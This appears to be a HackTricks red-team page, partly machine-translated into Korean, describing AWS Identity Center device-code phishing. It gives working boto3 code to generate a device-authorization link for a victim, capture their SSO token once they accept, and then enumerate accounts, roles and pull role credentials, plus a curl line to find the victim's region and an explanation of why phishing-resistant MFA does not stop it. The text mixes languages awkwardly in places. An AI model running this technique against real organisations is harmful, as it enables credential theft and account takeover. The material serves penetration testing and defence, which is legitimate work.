AWS - Identity Center & SSO Unauthenticated Enum

Reading time: 5 minutes

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기

AWS Device Code Phishing

Initially proposed in this blog post, it's possible to send a link to a user using AWS SSO that if the user accepts the attacker will be able to get a token to impersonate the user and access all the roles the user is able to access in the Identity Center.

이 공격을 수행하기 위한 요구사항은 다음과 같습니다:

  • 피해자는 Identity Center를 사용해야 합니다.
  • attacker는 피해자가 사용하는 subdomain(<victimsub>.awsapps.com/start)을 알고 있어야 합니다.

위 정보만으로도 attacker will be able to send a link to the user가 가능하며, 사용자가 accepted하면 attacker access over the AWS user 계정을 획득하게 됩니다.

Attack

  1. Finding the subdomain

attacker의 첫 단계는 피해 기업이 Identity Center에서 사용하는 subdomain을 찾아내는 것입니다. 이는 대부분의 회사가 자사 이름이나 그 변형을 사용하므로 OSINT 또는 guessing + BF로 수행할 수 있습니다.

With this info, it's possible to get the region where the Indentity Center was configured with:

bash
curl https://victim.awsapps.com/start/ -s | grep -Eo '"region":"[a-z0-9\-]+"'
"region":"us-east-1
  1. 피해자용 링크 생성 및 전송

다음 코드를 실행하여 피해자가 인증할 수 있는 AWS SSO 로그인 링크를 생성하세요.
데모에서는 이 코드를 python 콘솔에서 실행하고, 나중에 토큰을 얻기 위해 몇몇 객체가 필요하므로 콘솔을 종료하지 마세요:

python
import boto3

REGION = 'us-east-1' # CHANGE THIS
AWS_SSO_START_URL = 'https://victim.awsapps.com/start' # CHANGE THIS

sso_oidc = boto3.client('sso-oidc', region_name=REGION)
client = sso_oidc.register_client(
clientName = 'attacker',
clientType = 'public'
)

client_id = client.get('clientId')
client_secret = client.get('clientSecret')
authz = sso_oidc.start_device_authorization(
clientId=client_id,
clientSecret=client_secret,
startUrl=AWS_SSO_START_URL
)

url = authz.get('verificationUriComplete')
deviceCode = authz.get('deviceCode')
print("Give this URL to the victim: " + url)

당신의 뛰어난 social engineering skills를 사용해서 생성된 link를 피해자에게 보내세요!

  1. 피해자가 수락할 때까지 기다리세요

만약 피해자가 already logged in AWS 상태라면 권한 부여를 수락하기만 하면 됩니다. 그렇지 않다면 그는 login and then accept granting the permissions 해야 합니다.
이것이 현재 prompt의 모습입니다:

  1. SSO access token 가져오기

만약 피해자가 프롬프트를 수락했다면, 이 코드를 실행하여 generate a SSO token impersonating the user:

python
token_response = sso_oidc.create_token(
clientId=client_id,
clientSecret=client_secret,
grantType="urn:ietf:params:oauth:grant-type:device_code",
deviceCode=deviceCode
)
sso_token = token_response.get('accessToken')

SSO access token은 8시간 동안 유효합니다.

  1. 사용자로 가장하기
python
sso_client = boto3.client('sso', region_name=REGION)

# List accounts where the user has access
aws_accounts_response = sso_client.list_accounts(
accessToken=sso_token,
maxResults=100
)
aws_accounts_response.get('accountList', [])

# Get roles inside an account
roles_response = sso_client.list_account_roles(
accessToken=sso_token,
accountId=<account_id>
)
roles_response.get('roleList', [])

# Get credentials over a role

sts_creds = sso_client.get_role_credentials(
accessToken=sso_token,
roleName=<role_name>,
accountId=<account_id>
)
sts_creds.get('roleCredentials')

Phishing the unphisable MFA

이전 공격이 works even if an "unphisable MFA" (webAuth) is being used 경우에도 작동한다는 것은 흥미롭다. 그 이유는 이전 workflow never leaves the used OAuth domain 때문이다. 사용자가 로그인 도메인을 대체해야 하는 다른 phishing 공격과 달리, 이 경우 device code workflow는 기기가 code is known by a device 하도록 준비되어 있어 사용자는 다른 기기에서도 로그인할 수 있다. 프롬프트를 수락하면, 기기는 단지 초기 knowing the initial code만으로 사용자의 retrieve credentials를 수행할 수 있다.

For more info about this check this post.

자동화 도구

참고자료

tip

AWS 해킹 배우기 및 연습하기:HackTricks Training AWS Red Team Expert (ARTE)
GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks 지원하기